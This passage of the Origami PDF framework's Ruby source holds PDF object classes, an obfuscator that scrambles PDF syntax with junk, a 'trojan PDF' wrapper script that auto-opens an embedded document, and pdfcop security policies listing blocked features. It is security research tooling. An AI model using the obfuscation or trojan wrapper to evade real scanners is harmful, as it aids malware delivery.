:Type => [ Name, Array ], :Default => Graphics::Color::Space::DEVICE_RGB field :C, :Type => Object, :Default => [ 1, 1, 1 ] field :EA, :Type => Boolean, :Default => false end class RenderMode3D < Dictionary include StandardObject module Modes SOLID = :Solid SOLID_WIREFRAME = :SolidWireFrame TRANSPARENT = :Transparent TRANSPARENT_WIREFRAME = :TransparentWireFrame BOUNDINGBOX = :BoundingBox TRANSPARENT_BOUNDINGBOX = :TransparentBoundingBox TRANSPARENT_BOUNDINGBOX_OUTLINE = :TransparentBoundingBoxOutline WIREFRAME = :WireFrame SHADED_WIREFRAME = :ShadedWireFrame HIDDEN_WIREFRAME = :HiddenWireFrame VERTICES = :Vertices SHADED_VERTICES = :ShadedVertices ILLUSTRATION = :Illustration SOLID_OUTLINE = :SolidOutline SHADED_ILLUSTRATION = :ShadedIllustration end field :Type, :Type => Name, :Default => :"3DRenderMode" field :Subtype, :Type => Name, :Required => true, :Version => "1.7" field :AC, :Type => Array, :Default => [ Graphics::Color::Space::DEVICE_RGB, 0, 0, 0] field :BG, :Type => [ Name, Array ], :Default => :BG field :O, :Type => Number, :Default => 0.5 field :CV, :Type => Number, :Default => 45 end class LightingScheme3D < Dictionary include StandardObject module Styles ARTWORK = :Artwork NONE = :None WHITE = :White DAY = :Day NIGHT = :Night HARD = :Hard PRIMARY = :Primary BLUE = :Blue RED = :Red CUBE = :Cube CAD = :CAD HEADLAMP = :HeadLamp end field :Type, :Type => Name, :Default => :"3DLightingScheme" field :Subtype, :Type => Name, :Version => "1.7", :Required => true end class CrossSection3D < Dictionary include StandardObject field :Type, :Type => Name, :Default => :"3DCrossSection" field :C, :Type => Array, :Default => [ 0, 0, 0 ] field :O, :Type => Array, :Version => "1.7", :Default => [ Null.new, 0, 0 ], :Required => true field :PO, :Type => Number, :Default => 0.5 field :PC, :Type => Array, :Default => [ Graphics::Color::Space::DEVICE_RGB, 1, 1, 1 ] field :IV, :Type => Boolean, :Default => false field :IC, :Type => Array, :Default => [ Graphics::Color::Space::DEVICE_RGB, 0, 1 ,0] end class Node3D < Dictionary include StandardObject field :Type, :Type => Name, :Default => :"3DNode" field :N, :Type => ByteString, :Version => "1.7", :Required => true field :O, :Type => Number field :V, :Type => Boolean field :M, :Type => Array end end origami-pdf-1.2.7/lib/origami/obfuscation.rb0000644000175000017500000001174311645333134021200 0ustar terceiroterceiromodule Origami module Obfuscator WHITECHARS = [ " ", "\t", "\r", "\n", "\0" ] OBJECTS = [ Array, Boolean, Dictionary, Integer, Name, Null, Stream, String, Real, Reference ] MAX_INT = 0xFFFFFFFF PRINTABLE = ("!".."9").to_a + (':'..'Z').to_a + ('['..'z').to_a + ('{'..'~').to_a FILTERS = [ :FlateDecode, :RunLengthDecode, :LZWDecode, :ASCIIHexDecode, :ASCII85Decode ] def self.junk_spaces(max_size = 3) length = rand(max_size) + 1 ::Array.new(length) { WHITECHARS[rand(WHITECHARS.size)] }.join end def self.junk_comment(max_size = 15) length = rand(max_size) + 1 junk_comment = ::Array.new(length) { byte = rand(256).chr until (not byte.nil? and byte != "\n" and byte != "\r"); byte }.join "%#{junk_comment}#{EOL}" end def self.junk_object(type = nil) if type.nil? type = OBJECTS[rand(OBJECTS.size)] end unless type.include?(Origami::Object) raise TypeError, "Not a valid object type" end Obfuscator.send("junk_#{type.to_s.split('::').last.downcase}") end def self.junk_array(max_size = 5) length = rand(max_size) + 1 ::Array.new(length) { obj = Obfuscator.junk_object until (not obj.nil? and not obj.is_a?(Stream)) ; obj }.to_o end def self.junk_boolean Boolean.new(rand(2).zero?) end def self.junk_dictionary(max_size = 5) length = rand(max_size) + 1 hash = Hash.new length.times do obj = Obfuscator.junk_object hash[Obfuscator.junk_name] = obj unless obj.is_a?(Stream) end hash.to_o end def self.junk_integer(max = MAX_INT) Integer.new(rand(max + 1)) end def self.junk_name(max_size = 8) length = rand(max_size) + 1 Name.new(::Array.new(length) { PRINTABLE[rand(PRINTABLE.size)] }.join) end def self.junk_null Null.new end def self.junk_stream(max_data_size = 200) chainlen = rand(2) + 1 chain = ::Array.new(chainlen) { FILTERS[rand(FILTERS.size)] } length = rand(max_data_size) + 1 junk_data = ::Array.new(length) { rand(256).chr }.join stm = Stream.new stm.dictionary = Obfuscator.junk_dictionary(5) stm.setFilter(chain) stm.data = junk_data stm end def self.junk_string(max_size = 10) length = rand(max_size) + 1 strtype = (rand(2).zero?) ? ByteString : HexaString strtype.new(::Array.new(length) { PRINTABLE[rand(PRINTABLE.size)] }.join) end def self.junk_real Real.new(rand * rand(MAX_INT + 1)) end def self.junk_reference(max_no = 300, max_gen = 1) no = rand(max_no) + 1 gen = rand(max_gen) Reference.new(no, gen) end end class Dictionary def to_obfuscated_str content = TOKENS.first + Obfuscator.junk_spaces self.each_pair { |key, value| content << Obfuscator.junk_spaces + key.to_obfuscated_str + Obfuscator.junk_spaces + value.to_obfuscated_str + Obfuscator.junk_spaces } content << TOKENS.last super(content) end end module Object alias :to_obfuscated_str :to_s end class Array def to_obfuscated_str content = TOKENS.first + Obfuscator.junk_spaces self.each { |entry| content << entry.to_o.to_obfuscated_str + Obfuscator.junk_spaces } content << TOKENS.last super(content) end end class Null alias :to_obfuscated_str :to_s end class Boolean alias :to_obfuscated_str :to_s end class Integer alias :to_obfuscated_str :to_s end class Real alias :to_obfuscated_str :to_s end class Reference def to_obfuscated_str refstr = refno.to_s + Obfuscator.junk_spaces + refgen.to_s + Obfuscator.junk_spaces + "R" super(refstr) end end class ByteString def to_obfuscated_str to_s end end class HexaString def to_obfuscated_str to_s end end class Name def to_obfuscated_str(prop = 2) name = @value.dup forbiddenchars = [ " ","#","\t","\r","\n","\0","[","]","<",">","(",")","%","/","\\" ] name.gsub!(/./) do |c| if rand(prop) == 0 or forbiddenchars.include?(c) hexchar = c[0].to_s(base=16) hexchar = "0" + hexchar if hexchar.length < 2 '#' + hexchar else c end end super(TOKENS.first + name) end end class Stream def to_obfuscated_str content = "" content << @dictionary.to_obfuscated_str content << "stream" + EOL content << self.rawdata content << EOL << TOKENS.last super(content) end end class Trailer def to_obfuscated_str content = "" if self.has_dictionary? content << TOKENS.first << EOL << @dictionary.to_obfuscated_str << EOL end content << XREF_TOKEN << EOL << @startxref.to_s << EOL << TOKENS.last << EOL content end end end origami-pdf-1.2.7/lib/origami/string.rb0000644000175000017500000003137012142214376020167 0ustar terceiroterceiro=begin = File string.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami # # Module common to String objects. # module String module Encoding class EncodingError < Exception #:nodoc: end module PDFDocEncoding CHARMAP = [ "\x00\x00", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\x00\x09", "\x00\x0a", "\xff\xfd", "\x00\x0c", "\x00\x0d", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\x02\xd8", "\x02\xc7", "\x02\xc6", "\x02\xd9", "\x02\xdd", "\x02\xdb", "\x02\xda", "\x02\xdc", "\x00\x20", "\x00\x21", "\x00\x22", "\x00\x23", "\x00\x24", "\x00\x25", "\x00\x26", "\x00\x27", "\x00\x28", "\x00\x29", "\x00\x2a", "\x00\x2b", "\x00\x2c", "\x00\x2d", "\x00\x2e", "\x00\x2f", "\x00\x30", "\x00\x31", "\x00\x32", "\x00\x33", "\x00\x34", "\x00\x35", "\x00\x36", "\x00\x37", "\x00\x38", "\x00\x39", "\x00\x3a", "\x00\x3b", "\x00\x3c", "\x00\x3d", "\x00\x3e", "\x00\x3f", "\x00\x40", "\x00\x41", "\x00\x42", "\x00\x43", "\x00\x44", "\x00\x45", "\x00\x46", "\x00\x47", "\x00\x48", "\x00\x49", "\x00\x4a", "\x00\x4b", "\x00\x4c", "\x00\x4d", "\x00\x4e", "\x00\x4f", "\x00\x50", "\x00\x51", "\x00\x52", "\x00\x53", "\x00\x54", "\x00\x55", "\x00\x56", "\x00\x57", "\x00\x58", "\x00\x59", "\x00\x5a", "\x00\x5b", "\x00\x5c", "\x00\x5d", "\x00\x5e", "\x00\x5f", "\x00\x60", "\x00\x61", "\x00\x62", "\x00\x63", "\x00\x64", "\x00\x65", "\x00\x66", "\x00\x67", "\x00\x68", "\x00\x69", "\x00\x6a", "\x00\x6b", "\x00\x6c", "\x00\x6d", "\x00\x6e", "\x00\x6f", "\x00\x70", "\x00\x71", "\x00\x72", "\x00\x73", "\x00\x74", "\x00\x75", "\x00\x76", "\x00\x77", "\x00\x78", "\x00\x79", "\x00\x7a", "\x00\x7b", "\x00\x7c", "\x00\x7d", "\x00\x7e", "\xff\xfd", "\x20\x22", "\x20\x20", "\x20\x21", "\x20\x26", "\x20\x14", "\x20\x13", "\x01\x92", "\x20\x44", "\x20\x39", "\x20\x3a", "\x22\x12", "\x20\x30", "\x20\x1e", "\x20\x1c", "\x20\x1d", "\x20\x18", "\x20\x19", "\x20\x1a", "\x21\x22", "\xfb\x01", "\xfb\x02", "\x01\x41", "\x01\x52", "\x01\x60", "\x01\x78", "\x01\x7d", "\x01\x31", "\x01\x42", "\x01\x53", "\x01\x61", "\x01\x7e", "\xff\xfd", "\x20\xac", "\x00\xa1", "\x00\xa2", "\x00\xa3", "\x00\xa4", "\x00\xa5", "\x00\xa6", "\x00\xa7", "\x00\xa8", "\x00\xa9", "\x00\xaa", "\x00\xab", "\x00\xac", "\xff\xfd", "\x00\xae", "\x00\xaf", "\x00\xb0", "\x00\xb1", "\x00\xb2", "\x00\xb3", "\x00\xb4", "\x00\xb5", "\x00\xb6", "\x00\xb7", "\x00\xb8", "\x00\xb9", "\x00\xba", "\x00\xbb", "\x00\xbc", "\x00\xbd", "\x00\xbe", "\x00\xbf", "\x00\xc0", "\x00\xc1", "\x00\xc2", "\x00\xc3", "\x00\xc4", "\x00\xc5", "\x00\xc6", "\x00\xc7", "\x00\xc8", "\x00\xc9", "\x00\xca", "\x00\xcb", "\x00\xcc", "\x00\xcd", "\x00\xce", "\x00\xcf", "\x00\xd0", "\x00\xd1", "\x00\xd2", "\x00\xd3", "\x00\xd4", "\x00\xd5", "\x00\xd6", "\x00\xd7", "\x00\xd8", "\x00\xd9", "\x00\xda", "\x00\xdb", "\x00\xdc", "\x00\xdd", "\x00\xde", "\x00\xdf", "\x00\xe0", "\x00\xe1", "\x00\xe2", "\x00\xe3", "\x00\xe4", "\x00\xe5", "\x00\xe6", "\x00\xe7", "\x00\xe8", "\x00\xe9", "\x00\xea", "\x00\xeb", "\x00\xec", "\x00\xed", "\x00\xee", "\x00\xef", "\x00\xf0", "\x00\xf1", "\x00\xf2", "\x00\xf3", "\x00\xf4", "\x00\xf5", "\x00\xf6", "\x00\xf7", "\x00\xf8", "\x00\xf9", "\x00\xfa", "\x00\xfb", "\x00\xfc", "\x00\xfd", "\x00\xfe", "\x00\xff" ] def PDFDocEncoding.to_utf16be(pdfdocstr) utf16bestr = "#{UTF16BE::MAGIC}" pdfdocstr.each_byte do |byte| utf16bestr << CHARMAP[byte] end utf16bestr end def PDFDocEncoding.to_pdfdoc(str) str end end module UTF16BE MAGIC = "\xFE\xFF" def UTF16BE.to_utf16be(str) str end def UTF16BE.to_pdfdoc(str) pdfdoc = [] i = 2 while i < str.size char = PDFDocEncoding::CHARMAP.index(str[i,2]) raise EncodingError, "Can't convert UTF16-BE character to PDFDocEncoding" if char.nil? pdfdoc << char i = i + 2 end pdfdoc.pack("C*") end end end module ClassMethods #:nodoc:all def native_type; Origami::String end end def self.included(receiver) #:nodoc: receiver.extend(ClassMethods) end def self.native_type; Origami::String end #:nodoc: include Origami::Object attr_accessor :encoding def initialize(str) #:nodoc: infer_encoding super(str) end # # Convert String object to an UTF8 encoded Ruby string. # def to_utf8 infer_encoding if RUBY_VERSION < '1.9' require 'iconv' i = Iconv.new("UTF-8", "UTF-16") utf8str = i.iconv(self.encoding.to_utf16be(self.value)) i.close else utf8str = self.encoding.to_utf16be(self.value).encode("utf-8", "utf-16") end utf8str end # # Convert String object to an UTF16-BE encoded Ruby string. # def to_utf16be infer_encoding self.encoding.to_utf16be(self.value) end # # Convert String object to a PDFDocEncoding encoded Ruby string. # def to_pdfdoc infer_encoding self.encoding.to_pdfdoc(self.value) end def infer_encoding #:nodoc: @encoding = if self.value[0,2] == Encoding::UTF16BE::MAGIC Encoding::UTF16BE else Encoding::PDFDocEncoding end end end class InvalidHexaStringObjectError < InvalidObjectError #:nodoc: end # # Class representing an hexadecimal-writen String Object. # class HexaString < ::String include String TOKENS = %w{ < > } #:nodoc: @@regexp_open = Regexp.new(WHITESPACES + TOKENS.first) @@regexp_close = Regexp.new(TOKENS.last) # # Creates a new PDF hexadecimal String. # _str_:: The string value. # def initialize(str = "") unless str.is_a?(::String) raise TypeError, "Expected type String, received #{str.class}." end super(str) end def self.parse(stream, parser = nil) #:nodoc: offset = stream.pos if stream.skip(@@regexp_open).nil? raise InvalidHexaStringObjectError, "Hexadecimal string shall start with a '#{TOKENS.first}' token" end hexa = stream.scan_until(@@regexp_close) if hexa.nil? raise InvalidHexaStringObjectError, "Hexadecimal string shall end with a '#{TOKENS.last}' token" end decoded = Filter::ASCIIHex.decode(hexa.chomp!(TOKENS.last)) hexastr = HexaString.new(decoded) hexastr.file_offset = offset hexastr end def to_s #:nodoc: super(TOKENS.first + Filter::ASCIIHex.encode(to_str) + TOKENS.last) end # # Converts self to ByteString # def to_raw ByteString.new(self.value) end def value self.decrypt! if self.is_a?(Encryption::EncryptedString) and not @decrypted to_str end end class InvalidByteStringObjectError < InvalidObjectError #:nodoc: end # # Class representing an ASCII String Object. # class ByteString < ::String include String TOKENS = %w{ ( ) } #:nodoc: @@regexp_open = Regexp.new(WHITESPACES + Regexp.escape(TOKENS.first)) @@regexp_close = Regexp.new(Regexp.escape(TOKENS.last)) # # Creates a new PDF String. # _str_:: The string value. # def initialize(str = "") unless str.is_a?(::String) raise TypeError, "Expected type String, received #{str.class}." end super(str) end def self.parse(stream, parser = nil) #:nodoc: offset = stream.pos if not stream.skip(@@regexp_open) raise InvalidByteStringObjectError, "No literal string start token found" end result = "" depth = 0 while depth != 0 or stream.peek(1) != TOKENS.last do if stream.eos? raise InvalidByteStringObjectError, "Non-terminated string" end c = stream.get_byte case c when "\\" if stream.match?(/\d{1,3}/) oct = stream.peek(3).oct.chr stream.pos += 3 result << oct elsif stream.match?(/((\r?\n)|(\r\n?))/) stream.skip(/((\r?\n)|(\r\n?))/) next else flag = stream.get_byte case flag when "n" then result << "\n" when "r" then result << "\r" when "t" then result << "\t" when "b" then result << "\b" when "f" then result << "\f" when "(" then result << "(" when ")" then result << ")" when "\\" then result << "\\" when "\r" if str.peek(1) == "\n" then stream.pos += 1 end when "\n" else result << flag end end when "(" then depth = depth + 1 result << c when ")" then depth = depth - 1 result << c else result << c end end if not stream.skip(@@regexp_close) raise InvalidByteStringObjectError, "Byte string shall be terminated with '#{TOKENS.last}'" end bytestr = ByteString.new(result) bytestr.file_offset bytestr end def expand #:nodoc: extended = self.gsub("\\", "\\\\\\\\") extended.gsub!(/\)/, "\\)") extended.gsub!("\n", "\\n") extended.gsub!("\r", "\\r") extended.gsub!(/\(/, "\\(") extended end def to_s #:nodoc: super(TOKENS.first + self.expand + TOKENS.last) end # # Converts self to HexaString # def to_hex HexaString.new(self.value) end def value self.decrypt! if self.is_a?(Encryption::EncryptedString) and not @decrypted to_str end end # # Class representing a Date string. # _Not used_ # _Not tested_ # class Date < ByteString #:nodoc: REGEXP_TOKEN = "(D:)?(\\d{4})(\\d{2})?(\\d{2})?(\\d{2})?(\\d{2})?(\\d{2})?(?:([\\+-Z])(?:(\\d{2})')?(?:(\\d{2})')?)?" def initialize(year, month = nil, day = nil, hour = nil, minute = nil, second = nil, ut_sign = nil, ut_hours = nil, ut_min = nil) year_str = '%04d' % year month_str = month.nil? ? '01' : '%02d' % month day_str = day.nil? ? '01' : '%02d' % day hour_str = '%02d' % hour minute_str = '%02d' % minute second_str = '%02d' % second date_str = "D:#{year_str}#{month_str}#{day_str}#{hour_str}#{minute_str}#{second_str}" date_str << "#{ut_sign}#{'%02d' % ut_hours}'#{'%02d' % ut_min}" unless ut_sign.nil? super(date_str) end def self.parse(stream, parser = nil) #:nodoc: dateReg = Regexp.new(REGEXP_TOKEN) raise InvalidDate if stream.scan(dateReg).nil? year = stream[2].to_i month = stream[3] and stream[3].to_i day = stream[4] and stream[4].to_i hour = stream[5] and stream[5].to_i min = stream[6] and stream[6].to_i sec = stream[7] and stream[7].to_i ut_sign = stream[8] ut_hours = stream[9] and stream[9].to_i ut_min = stream[10] and stream[10].to_i Origami::Date.new(year, month, day, hour, min, sec, ut_sign, ut_hours, ut_min) end # # Returns current Date String in UTC time. # def self.now now = Time.now.getutc year = now.strftime("%Y").to_i month = now.strftime("%m").to_i day = now.strftime("%d").to_i hour = now.strftime("%H").to_i min = now.strftime("%M").to_i sec = now.strftime("%S").to_i Origami::Date.new(year, month, day, hour, min, sec, 'Z', 0, 0) end end end origami-pdf-1.2.7/lib/origami/graphics.rb0000644000175000017500000000214312101464040020443 0ustar terceiroterceiro=begin = File graphics.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'origami/graphics/instruction' require 'origami/graphics/colors' require 'origami/graphics/path' require 'origami/graphics/xobject' require 'origami/graphics/patterns' require 'origami/graphics/text' require 'origami/graphics/state' require 'origami/graphics/render' origami-pdf-1.2.7/bin/0000755000175000017500000000000012427006355014705 5ustar terceiroterceiroorigami-pdf-1.2.7/bin/pdfcocoon0000755000175000017500000000463011645333134016607 0ustar terceiroterceiro#!/usr/bin/env ruby =begin = Author: Guillaume Delugré = Info: Embeds and PDF document into a trojan PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" $: << ORIGAMIDIR require 'origami' end include Origami require 'optparse' class OptParser BANNER = <] [-o ] Embeds and PDF document into a trojan PDF document. Bug reports or feature requests at: http://origami-pdf.googlecode.com/ Options: USAGE def self.parser(options) OptionParser.new do |opts| opts.banner = BANNER opts.on("-o", "--output FILE", "Output PDF file (stdout by default)") do |o| options[:output] = o end opts.on_tail("-h", "--help", "Show this message") do puts opts exit end end end def self.parse(args) options = { :output => STDOUT, } self.parser(options).parse!(args) options end end begin @options = OptParser.parse(ARGV) target = (ARGV.empty?) ? STDIN : ARGV.shift EMBEDDEDNAME = "#{::Array.new(5){ rand(26) + 97}}.pdf" pdf = PDF.new objstm = ObjectStream.new.setFilter(:FlateDecode) pdf.insert(objstm) pagetree = PageTreeNode.new.insert_page(0, page = Page.new) pdf.Catalog.Pages = objstm.insert(pagetree) objstm.insert(page) file = objstm.insert(pdf.attach_file(target, :Register => false)) pdf.Catalog.Names = objstm.insert( Names.new.setEmbeddedFiles(NameTreeNode.new.setNames([ EMBEDDEDNAME, file ])) ) page.onOpen Action::GoToE.new(EMBEDDEDNAME, Destination::GlobalFit.new(0)) pdf.save(@options[:output], :noindent => true) rescue SystemExit rescue Exception => e STDERR.puts "#{e.class}: #{e.message}" exit 1 end origami-pdf-1.2.7/bin/pdfexplode0000755000175000017500000001500512133261600016754 0ustar terceiroterceiro#!/usr/bin/env ruby =begin = Author: Guillaume Delugré = Info: Explodes a PDF into separate documents. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" $: << ORIGAMIDIR require 'origami' end include Origami require 'optparse' require 'rexml/document' class OptParser BANNER = < [-r ] [-t pages|rsrc] [-d ] Explodes a document into separate documents. Bug reports or feature requests at: http://origami-pdf.googlecode.com/ Options: USAGE def self.parser(options) OptionParser.new do |opts| opts.banner = BANNER opts.on("-d", "--output-dir DIR", "Output directory.") do |d| options[:output_dir] = d end opts.on("-r", "--range PAGES", "Page range (e.g: 2-, 1-3, 5). Default to '-'.") do |r| range = if r.index('-').nil? page = r.to_i Range.new(page-1, page-1) else from, to = r.split('-').map{|bound| bound.to_i} from ||= 1 to ||= 0 Range.new(from-1, to-1) end options[:page_range] = range end opts.on("-t", "--type TYPE", "Split by type. Can be 'pages' or 'rsrc'. Default to 'pages'.") do |t| options[:split_by] = t end opts.on_tail("-h", "--help", "Show this message.") do puts opts exit end end end def self.parse(args) options = { :page_range => (0..-1), :split_by => 'pages' } self.parser(options).parse!(args) options end end begin @options = OptParser.parse(ARGV) if ARGV.empty? STDERR.puts "Error: No filename was specified. #{$0} --help for details." exit 1 else target = ARGV.shift end if @options[:output_dir].nil? @options[:output_dir] = "#{File.join(File.dirname(target), File.basename(target,'.pdf'))}.explode" end Origami::OPTIONS[:ignore_bad_references] = true OUTPUT_DIR = @options[:output_dir] Dir::mkdir(OUTPUT_DIR) unless File.directory?(OUTPUT_DIR) def split_by_rsrc(n, page, type) all_rsrc = page.resources type_rsrc = page.ls_resources(type) other_rsrc = all_rsrc.keys - type_rsrc.keys unless type_rsrc.empty? # Keep only specified resource type. output_file = File.join(OUTPUT_DIR, "page_#{n}_keeponly_#{type}.pdf") PDF.write(output_file) do |pdf| reduced = page.copy # New resource dictionary with only matching resources. reduced.Resources = Resources.new(type => type_rsrc) # Remove mention of other resources. reduced.Contents.data = reduced.Contents.data.lines.to_a. delete_if {|line| other_rsrc.any?{|rsrc| line =~ /#{rsrc}/}}.join STDERR.puts "Creating #{output_file}..." pdf.append_page(reduced) end # Remove all specified resource type. output_file = File.join(OUTPUT_DIR, "page_#{n}_excluded_#{type}.pdf") PDF.write(output_file) do |pdf| reduced = page.copy # New resource dictionary with no resource of specified type. reduced.Resources = reduced.Resources.copy reduced.Resources.delete(type) # Remove mention this resource type. reduced.Contents.data = reduced.Contents.data.lines.to_a. delete_if {|line| type_rsrc.keys.any?{|rsrc| line =~ /#{rsrc}/}}.join STDERR.puts "Creating #{output_file}..." pdf.append_page(reduced) end # Now treating each resource object separately. type_rsrc.each_pair do |name, rsrc| anyother_rsrc = all_rsrc.keys - [ name ] # Keey only specified resource object. output_file = File.join(OUTPUT_DIR, "page_#{n}_keeponly_#{type}_#{name}.pdf") PDF.write(output_file) do |pdf| reduced = page.copy # New resource dictionary with only specified resource object. reduced.Resources = Resources.new(type => {name => rsrc}) # Remove mention of all other resources. reduced.Contents.data = reduced.Contents.data.lines.to_a. delete_if {|line| anyother_rsrc.any?{|rsrc| line =~ /#{rsrc}/}}.join STDERR.puts "Creating #{output_file}..." pdf.append_page(reduced) end # Remove only specified resource object. output_file = File.join(OUTPUT_DIR, "page_#{n}_excluded_#{type}_#{name}.pdf") PDF.write(output_file) do |pdf| reduced = page.copy # New resource dictionary with only specified resource object. reduced.Resources = reduced.Resources.copy reduced.Resources[type] = reduced.Resources.send(type).copy reduced.Resources[type].delete(name) # Remove mention of this resource only. reduced.Contents.data = reduced.Contents.data.lines.to_a. delete_if {|line| line =~ /#{name}/}.join STDERR.puts "Creating #{output_file}..." pdf.append_page(reduced) end end end end params = { :verbosity => Parser::VERBOSE_QUIET, } pdf = PDF.read(target, params) i = @options[:page_range].first + 1 pdf.pages[@options[:page_range]].each do |page| case @options[:split_by] when 'pages' output_file = File.join(OUTPUT_DIR, "page_#{i}.pdf") PDF.write(output_file) do |pdf| STDERR.puts "Creating #{output_file}..." pdf.append_page(page) end when 'rsrc' [ Resources::EXTGSTATE, Resources::COLORSPACE, Resources::PATTERN, Resources::SHADING, Resources::XOBJECT, Resources::FONT, Resources::PROPERTIES ].each { |type| split_by_rsrc(i, page, type) } else raise ArgumentError, "Unknown split option: #{@options[:split_by]}" end i += 1 end rescue SystemExit rescue Exception => e STDERR.puts "#{e.class}: #{e.message} #{e.backtrace}" exit 1 end origami-pdf-1.2.7/bin/config/0000755000175000017500000000000012427006355016152 5ustar terceiroterceiroorigami-pdf-1.2.7/bin/config/pdfcop.conf.yml0000644000175000017500000001145711567212342021103 0ustar terceiroterceiro--- POLICY_NONE: # # General features. # allowParserErrors: true allowAttachments: true allowEncryption: true allowFormCalc: true allowJSAtOpening: true allowJS: true allowAcroForms: true allowXFAForms: true # # Page annotations. # allowAnnotations: true allow3DAnnotation: true allowFileAttachmentAnnotation: true allowMovieAnnotation: true allowRichMediaAnnotation: true allowScreenAnnotation: true allowSoundAnnotation: true # # PDF Actions. # allowChainedActions: true allowOpenAction: true allowGoTo3DAction: true allowGoToAction: true allowGoToEAction: true allowGoToRAction: true allowImportDataAction: true allowJSAction: true allowLaunchAction: true allowMovieAction: true allowNamedAction: true allowRenditionAction: true allowRichMediaAction: true allowSoundAction: true allowSubmitFormAction: true allowURIAction: true # # Stream filters. # allowASCII85Filter: true allowASCIIHexFilter: true allowCCITTFaxFilter: true allowCryptFilter: true allowDCTFilter: true allowFlateFilter: true allowJBIG2Filter: true allowJPXFilter: true allowLZWFilter: true allowRunLengthFilter: true POLICY_STANDARD: # # General features. # allowParserErrors: false allowAttachments: false allowAcroForms: true allowEncryption: true allowFormCalc: true allowJS: true allowJSAtOpening: false allowXFAForms: true # # Page annotations. # allowAnnotations: true allow3DAnnotation: false allowFileAttachmentAnnotation: false allowMovieAnnotation: false allowRichMediaAnnotation: false allowScreenAnnotation: false allowSoundAnnotation: false # # PDF Actions. # allowChainedActions: true allowOpenAction: true allowGoTo3DAction: false allowGoToAction: true allowGoToEAction: false allowGoToRAction: false allowImportDataAction: false allowJSAction: true allowLaunchAction: false allowMovieAction: false allowNamedAction: false allowRenditionAction: false allowRichMediaAction: false allowSoundAction: false allowSubmitFormAction: true allowURIAction: true # # Stream filters. # allowASCII85Filter: false allowASCIIHexFilter: false allowCCITTFaxFilter: true allowCryptFilter: true allowDCTFilter: true allowFlateFilter: true allowJBIG2Filter: false allowJPXFilter: false allowLZWFilter: false allowRunLengthFilter: false POLICY_STRONG: # # General features. # allowParserErrors: false allowAttachments: false allowAcroForms: false allowEncryption: true allowFormCalc: true allowJS: false allowJSAtOpening: false allowXFAForms: false # # Page annotations. # allowAnnotations: true allow3DAnnotation: false allowFileAttachmentAnnotation: false allowMovieAnnotation: false allowRichMediaAnnotation: false allowScreenAnnotation: false allowSoundAnnotation: false # # PDF Actions. # allowChainedActions: false allowOpenAction: true allowGoTo3DAction: false allowGoToAction: true allowGoToEAction: false allowGoToRAction: false allowImportDataAction: false allowJSAction: false allowLaunchAction: false allowMovieAction: false allowNamedAction: false allowRenditionAction: false allowRichMediaAction: false allowSoundAction: false allowSubmitFormAction: false allowURIAction: true # # Stream filters. # allowASCII85Filter: false allowASCIIHexFilter: false allowCCITTFaxFilter: false allowCryptFilter: true allowDCTFilter: true allowFlateFilter: true allowJBIG2Filter: false allowJPXFilter: false allowLZWFilter: false allowRunLengthFilter: false POLICY_PARANOID: # # General features. # allowParserErrors: false allowAttachments: false allowAcroForms: false allowEncryption: false allowFormCalc: false allowJS: false allowJSAtOpening: false allowXFAForms: false # # Page annotations. # allowAnnotations: true allow3DAnnotation: false allowFileAttachmentAnnotation: false allowMovieAnnotation: false allowRichMediaAnnotation: false allowScreenAnnotation: false allowSoundAnnotation: false # # PDF Actions. # allowChainedActions: false allowOpenAction: false allowGoTo3DAction: false allowGoToAction: true allowGoToEAction: false allowGoToRAction: false allowImportDataAction: false allowJSAction: false allowLaunchAction: false allowMovieAction: false allowNamedAction: false allowRenditionAction: false allowRichMediaAction: false allowSoundAction: false allowSubmitFormAction: false allowURIAction: false # # Stream filters. # allowASCII85Filter: false allowASCIIHexFilter: false allowCCITTFaxFilter: false allowCryptFilter: false allowDCTFilter: true allowFlateFilter: true allowJBIG2Filter: false allowJPXFilter: false allowLZWFilter: false allowRunLengthFilter: false origami-pdf-1.2.7/bin/pdfcop0000755000175000017500000003145511645333134016115 0ustar terceiroterceiro#!/usr/bin/env ruby =begin = Author: Guillaume Delugré = Info: This is a PDF document filtering engine using Origami. Security policies are based on a white list of PDF features. Default policies details can be found in the default configuration file. You can also add your own policy and activate it using the -p switch. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but 